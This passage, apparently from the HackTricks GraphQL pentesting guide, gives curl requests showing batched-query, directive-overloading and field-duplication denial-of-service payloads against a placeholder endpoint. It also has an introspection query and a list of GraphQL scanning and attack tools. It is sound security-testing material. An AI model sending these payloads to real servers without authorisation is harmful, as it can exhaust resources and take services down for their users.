-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
|
|||
|
'https://example.com/graphql'
|
|||
|
```
|
|||
|
{% endcode %}
|
|||
|
|
|||
|
In this example, 10 different queries are batched into one request, forcing the server to execute all of them simultaneously. If exploited with a larger batch size or computationally expensive queries, it can overload the server.
|
|||
|
|
|||
|
### **Directive Overloading Vulnerability**
|
|||
|
|
|||
|
**Directive Overloading** occurs when a GraphQL server permits queries with excessive, duplicated directives. This can overwhelm the server’s parser and executor, especially if the server repeatedly processes the same directive logic. Without proper validation or limits, an attacker can exploit this by crafting a query with numerous duplicate directives to trigger high computational or memory usage, leading to **Denial of Service (DoS)**.
|
|||
|
|
|||
|
{% code overflow="wrap" %}
|
|||
|
```bash
|
|||
|
# Test provided by https://github.com/dolevf/graphql-cop
|
|||
|
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
|||
|
-H "Content-Type: application/json" \
|
|||
|
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
|
|||
|
'https://example.com/graphql'
|
|||
|
```
|
|||
|
{% endcode %}
|
|||
|
|
|||
|
Note that in the previous example `@aa` is a custom directive that **might not be declared**. A common directive that usually exists is **`@include`**:
|
|||
|
|
|||
|
{% code overflow="wrap" %}
|
|||
|
```bash
|
|||
|
curl -X POST \
|
|||
|
-H "Content-Type: application/json" \
|
|||
|
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
|
|||
|
'https://example.com/graphql'
|
|||
|
```
|
|||
|
{% endcode %}
|
|||
|
|
|||
|
You can also send an introspection query to discover all the declared directives:
|
|||
|
|
|||
|
```bash
|
|||
|
curl -X POST \
|
|||
|
-H "Content-Type: application/json" \
|
|||
|
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
|
|||
|
'https://example.com/graphql'
|
|||
|
```
|
|||
|
|
|||
|
And then **use some of the custom** ones.
|
|||
|
|
|||
|
### **Field Duplication Vulnerability**
|
|||
|
|
|||
|
**Field Duplication** is a vulnerability where a GraphQL server permits queries with the same field repeated excessively. This forces the server to resolve the field redundantly for every instance, consuming significant resources (CPU, memory, and database calls). An attacker can craft queries with hundreds or thousands of repeated fields, causing high load and potentially leading to a **Denial of Service (DoS)**.
|
|||
|
|
|||
|
```bash
|
|||
|
# Test provided by https://github.com/dolevf/graphql-cop
|
|||
|
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
|
|||
|
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \
|
|||
|
'https://example.com/graphql'
|
|||
|
```
|
|||
|
|
|||
|
## Tools
|
|||
|
|
|||
|
### Vulnerability scanners
|
|||
|
|
|||
|
* [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Test common misconfigurations of graphql endpoints
|
|||
|
* [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): GraphQL security auditing script with a focus on performing batch GraphQL queries and mutations.
|
|||
|
* [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Fingerprint the graphql being used
|
|||
|
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Toolkit that can be used to grab schemas and search for sensitive data, test authorization, brute force schemas, and find paths to a given type.
|
|||
|
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Can be used as standalone or [Burp extension](https://github.com/doyensec/inql).
|
|||
|
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Can be used as a CLI client also to automate attacks
|
|||
|
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Tool that lists the different ways of **reaching a given type in a GraphQL schema**.
|
|||
|
* [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): The Successor of Standalone and CLI Modes os InQL
|
|||
|
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension for advanced GraphQL testing. The _**Scanner**_ is the core of InQL v5.0, where you can analyze a GraphQL endpoint or a local introspection schema file. It auto-generates all possible queries and mutations, organizing them into a structured view for your analysis. The _**Attacker**_ component lets you run batch GraphQL attacks, which can be useful for circumventing poorly implemented rate limits.
|
|||
|
* [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Try to get the schema even with introspection disabled by using the help of some Graphql databases that will suggest the names of mutations and parameters.
|
|||
|
|
|||
|
### Clients
|
|||
|
|
|||
|
* [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUI client
|
|||
|
* [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUI Client
|
|||
|
|
|||
|
### Automatic Tests
|
|||
|
|
|||
|
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
|
|||
|
|
|||
|
* Video explaining AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
|
|||
|
|
|||
|
## References
|
|||
|
|
|||
|
* [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/)
|
|||
|
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
|
|||
|
* [**https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4**](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4)
|
|||
|
* [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/)
|
|||
|
* [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
|
|||
|
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
|
|||
|
* [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
|
|||
|
|
|||
|
{% embed url="https://academy.8ksec.io/" %}
|
|||
|
|
|||
|
|
|||
|
{% hint style="success" %}
|
|||
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|||
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>Support HackTricks</summary>
|
|||
|
|
|||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|||
|
|
|||
|
</details>
|
|||
|
{% endhint %}
|